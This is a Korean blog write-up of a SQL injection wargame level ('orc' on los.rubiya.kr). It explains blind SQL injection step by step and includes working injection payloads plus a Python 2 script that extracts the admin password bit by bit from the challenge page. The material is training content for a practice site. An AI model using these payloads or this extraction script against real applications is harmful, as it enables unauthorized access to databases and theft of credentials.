NGA

los.rubiya.kr/orc

2018. 11. 15. 00:12


이번 문제는 $_GET['pw'] 와 query 결과 pw 가 동일하면 문제가 해결된다. 즉 DB 안에 admin 의 pw 를 추출해야한다. 딱히 필터링이 없으니 바로 풀어보겠다.


우리가 이 문제에서 사용할 기법은 Blind SQL Injection 이다. 간단히 말하면 참과 거짓에 대한 응답을 통해 DB 에서 데이터를 추출해내는 기법이다.


참과 거짓

1=1 -> True


0=1 -> False


만약 pw 가 123 일 때

pw = 123 -> True


pw = 12   -> False


이제 Blind SQL Injection 을 할 때 사용되는 함수를 사용해 보자면

// 길이 알아낼 때.

length(pw) > 0 -> True // pw 의 길이가 0 보다 클 때.


// 문자 추출

mid(pw,1,1) = 1 -> True // mid(string, 번째 자리부터  , 몇 글자)   pw 의 1 번째 자리부터 1 글자

substr(pw,1,1) = 1 -> True // substr() 도 mid 함수랑 같음.

..


// ord, ascii

ord(mid(pw,1,1)) = 31 -> True // ascii 값으로 변환.

..



문제를 통해 예를 들어보자면 문제에서 id 값의 결과가 있으면 "Hello admin" 을 출력하는데 query 를 select id from prob_orc where id='admin' and pw=''||0 처럼 하게 된다면 "Hello admin" 을 출력하지 않고  select id from prob_orc where id='admin' and pw=''||1 처럼 되면 "Hello admin" 을 출력하게 된다.

즉 참과 거짓일때의 응답이 나누어 지니 위에 함수를 이용한다.


select id from prob_orc where id='admin' and pw=''||id='admin'&&ord(mid(pw,1,1))=31 -> "Hello admin" 

select id from prob_orc where id='admin' and pw=''||id='admin'&&ord(mid(pw,1,1))=32 -> ""


여기서 ||id='admin' 을 넣은 이유는 앞에 id='admin' and pw='' 가 거짓이 되니 다시 어느 id 의 pw 를 뽑을지를 선택 해줘야한다.


이런식으로 하나씩 값을 뽑으면 되는데 손으로 하면 귀찮으니 python 으로 코드를 짜서 풀자.


ord(mid(pw, 1 ~ n, 1)) = 1 ~ 127 처럼 돌리면 된다. 하지만 나는 시간이 많이 걸려서 바이너리를 비교해서 풀었다.


pw 첫 문자가 1 일 때 -> binary => 00011111 처럼 됨


ord(mid(pw,1 ,1))&128=128 -> 00011111 & 128 => 00011111 & 10000000 -> False

ord(mid(pw,1 ,1))&64=64    -> 00011111 & 64 =>   00011111 & 01000000 -> False

ord(mid(pw,1 ,1))&32=32    -> 00011111 & 32 =>   00011111 & 00100000 -> False

ord(mid(pw,1 ,1))&16=16    -> 00011111 & 16 =>    00011111 & 00010000 -> True

ord(mid(pw,1 ,1))&8=8        -> 00011111 & 8 =>    00011111 & 00001000 -> True

ord(mid(pw,1 ,1))&4=4        ->00011111 & 4 =>     00011111 & 00000100 -> True

ord(mid(pw,1 ,1))&2=2        -> 00011111 & 2 =>    00011111 & 00000010 -> True

ord(mid(pw,1 ,1))&1=1        -> 00011111 & 1 =>     00011111 & 00000001 -> True


True 인걸 다더하면 31 -> 1


python 2.x 버전용


sess 변수에 session 값만 변경해서 쓰면 된다.

#coding:utf-8

import urllib2 
import ssl 

opener = urllib2.build_opener(urllib2.HTTPSHandler(context=ssl.SSLContext(ssl.PROTOCOL_TLSv1))) 
urllib2.install_opener(opener)

url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?"
sess="4hqu7lpapeslgg180htc7dtrh3" # Your sessionid 

for i in range(1,9):

	bin = pow(2,8)	# 128
	str=0
	while bin >= 1:
	
		query="pw=%27||id='admin'+and+ord(mid(pw,{},1))%26{}={}%23".format(i,bin,bin)	

		req=urllib2.Request(url+query)
		req.add_header("Cookie","PHPSESSID="+sess)
		read=urllib2.urlopen(req).read()
		
		if(read.find("

Hello admin

") != -1): str+=bin bin/=2 print chr(str),

'WARGAME > LOS' 카테고리의 다른 글

los.rubiya.kr/darkelf  (0) 2018.11.15
los.rubiya.kr/wolfman  (0) 2018.11.15
los.rubiya.kr/goblin  (0) 2018.11.11
los.rubiya.kr/cobolt  (0) 2018.11.11
los.rubiya.kr/gremlin  (0) 2018.11.11

이 글을 공유합시다

facebook twitter googleplus kakaoTalk kakaostory naver band